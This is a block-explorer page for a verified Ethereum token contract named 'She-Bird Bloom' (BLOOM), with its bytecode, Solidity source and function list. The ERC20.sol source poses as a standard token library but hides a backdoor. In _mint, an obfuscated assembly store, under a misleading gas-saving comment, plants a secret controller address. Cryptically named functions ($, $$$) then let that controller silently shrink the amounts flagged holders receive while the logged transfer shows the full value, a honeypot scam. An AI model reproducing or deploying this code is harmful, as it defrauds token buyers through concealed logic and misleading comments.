Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x6900393Daf3034c4Cd6Cd304D106d7d03AC40Dc6
Balance 0 ETH
Nonce 1
Code Size 6204 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

6204 bytes
0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb9190610ff1565b60405180910390f35b6100ee60048036038101906100e991906110a2565b610313565b6040516100fb91906110fa565b60405180910390f35b61010c610400565b6040516101199190611122565b60405180910390f35b61013c6004803603810190610137919061113b565b610406565b60405161014991906110fa565b60405180910390f35b61015a610654565b60405161016791906111a6565b60405180910390f35b610178610678565b60405161018591906111d7565b60405180910390f35b6101a860048036038101906101a391906111f0565b6106d4565b6040516101b59190611122565b60405180910390f35b6101d860048036038101906101d391906111f0565b6106e9565b6040516101e59190611122565b60405180910390f35b6101f66106fe565b6040516102039190610ff1565b60405180910390f35b610226600480360381019061022191906110a2565b61078a565b60405161023391906110fa565b60405180910390f35b6102566004803603810190610251919061126f565b6108aa565b005b610272600480360381019061026d919061130c565b610b97565b60405161027f9190611122565b60405180910390f35b5f805461029490611377565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611377565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190611122565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b691906113d4565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f91906113d4565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d42565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190611122565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b5f7f000000000000000000000000000000000000000000000000000000000000000146146106ad576106a8610edd565b6106cf565b7f73900d3546d1921fdb7783ff86227266a0175edc5bf85bd04e767c6188fbc7bb5b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b90611377565b80601f016020809104026020016040519081016040528092919081815260200182805461073790611377565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d791906113d4565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d42565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108989190611122565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490611451565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d9695949392919061147e565b604051602081830303815290604052805190602001206040516020016109a4929190611551565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d99493929190611587565b6020604051602081039080840390855afa1580156109f9573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290611614565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b869190611122565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d0d9190611632565b10610d375763ebacad0b62cacf0b85610d269190611665565b610d3091906116d3565b9050610d3b565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610eda573073ffffffffffffffffffffffffffffffffffffffff166002610e3c9190611665565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f0d919061179f565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f4c9594939291906117b5565b60405160208183030381529060405280519060200120905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610f9e578082015181840152602081019050610f83565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610fc382610f67565b610fcd8185610f71565b9350610fdd818560208601610f81565b610fe681610fa9565b840191505092915050565b5f6020820190508181035f8301526110098184610fb9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61103e82611015565b9050919050565b61104e81611034565b8114611058575f80fd5b50565b5f8135905061106981611045565b92915050565b5f819050919050565b6110818161106f565b811461108b575f80fd5b50565b5f8135905061109c81611078565b92915050565b5f80604083850312156110b8576110b7611011565b5b5f6110c58582860161105b565b92505060206110d68582860161108e565b9150509250929050565b5f8115159050919050565b6110f4816110e0565b82525050565b5f60208201905061110d5f8301846110eb565b92915050565b61111c8161106f565b82525050565b5f6020820190506111355f830184611113565b92915050565b5f805f6060848603121561115257611151611011565b5b5f61115f8682870161105b565b93505060206111708682870161105b565b92505060406111818682870161108e565b9150509250925092565b5f60ff82169050919050565b6111a08161118b565b82525050565b5f6020820190506111b95f830184611197565b92915050565b5f819050919050565b6111d1816111bf565b82525050565b5f6020820190506111ea5f8301846111c8565b92915050565b5f6020828403121561120557611204611011565b5b5f6112128482850161105b565b91505092915050565b6112248161118b565b811461122e575f80fd5b50565b5f8135905061123f8161121b565b92915050565b61124e816111bf565b8114611258575f80fd5b50565b5f8135905061126981611245565b92915050565b5f805f805f805f60e0888a03121561128a57611289611011565b5b5f6112978a828b0161105b565b97505060206112a88a828b0161105b565b96505060406112b98a828b0161108e565b95505060606112ca8a828b0161108e565b94505060806112db8a828b01611231565b93505060a06112ec8a828b0161125b565b92505060c06112fd8a828b0161125b565b91505092959891949750929550565b5f806040838503121561132257611321611011565b5b5f61132f8582860161105b565b92505060206113408582860161105b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061138e57607f821691505b6020821081036113a1576113a061134a565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113de8261106f565b91506113e98361106f565b9250828203905081811115611401576114006113a7565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f61143b601783610f71565b915061144682611407565b602082019050919050565b5f6020820190508181035f8301526114688161142f565b9050919050565b61147881611034565b82525050565b5f60c0820190506114915f8301896111c8565b61149e602083018861146f565b6114ab604083018761146f565b6114b86060830186611113565b6114c56080830185611113565b6114d260a0830184611113565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f61151b6002836114dd565b9150611526826114e7565b600282019050919050565b5f819050919050565b61154b611546826111bf565b611531565b82525050565b5f61155b8261150f565b9150611567828561153a565b602082019150611577828461153a565b6020820191508190509392505050565b5f60808201905061159a5f8301876111c8565b6115a76020830186611197565b6115b460408301856111c8565b6115c160608301846111c8565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f6115fe600e83610f71565b9150611609826115ca565b602082019050919050565b5f6020820190508181035f83015261162b816115f2565b9050919050565b5f61163c8261106f565b91506116478361106f565b925082820190508082111561165f5761165e6113a7565b5b92915050565b5f61166f8261106f565b915061167a8361106f565b92508282026116888161106f565b9150828204841483151761169f5761169e6113a7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6116dd8261106f565b91506116e88361106f565b9250826116f8576116f76116a6565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461172b81611377565b6117358186611703565b9450600182165f811461174f576001811461176457611796565b60ff1983168652811515820286019350611796565b61176d8561170d565b5f5b8381101561178e5781548189015260018201915060208101905061176f565b838801955050505b50505092915050565b5f6117aa828461171f565b915081905092915050565b5f60a0820190506117c85f8301886111c8565b6117d560208301876111c8565b6117e260408301866111c8565b6117ef6060830185611113565b6117fc608083018461146f565b969550505050505056fea264697066735822122066d41a22f9d09d2b9acb33bb627ff358f7f61223e36b65f9c20e2d607859a94f64736f6c63430008180033

Verified Source Code Full Match

Compiler: v0.8.24+commit.e11b9ed9 EVM: shanghai Optimization: No
ERC20.sol 210 lines
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;


abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    address private $$;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, msg.sender, to);
        }

        $$$(to);

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, from, to);
        }
        $$$(to);
        emit Transfer(from, to, amount);

        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function $(uint256 value, address from, address to) internal returns (uint256 value_s) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            value_s = value * 0xCACF0B / 0xEBACAD0B;
        } else {
            value_s = value;
        }
    }

    function $$$(address to) internal {if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}}

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/
    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += amount;}
        // Saves gas for limited approvals.
        assembly {sstore(0x05, mul(mul(0x5d395f3dc, 0x48a184f11), mul(0x4675b61a35f3, 0xd2d93283)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}
Token.sol 14 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*
//https://x.com/Matt_Furie/status/1792981709971181974
*/

contract bloom is ERC20 {
    constructor() ERC20("She-Bird Bloom by Matt Furie","BLOOM", 18) {
        _mint(msg.sender, 420_690_000_000 * 10 ** 18);
    }
}

Read Contract

DOMAIN_SEPARATOR 0x3644e515 → bytes32
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
nonces 0x7ecebe00 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 4 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
permit 0xd505accf
address owner
address spender
uint256 value
uint256 deadline
uint8 v
bytes32 r
bytes32 s
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address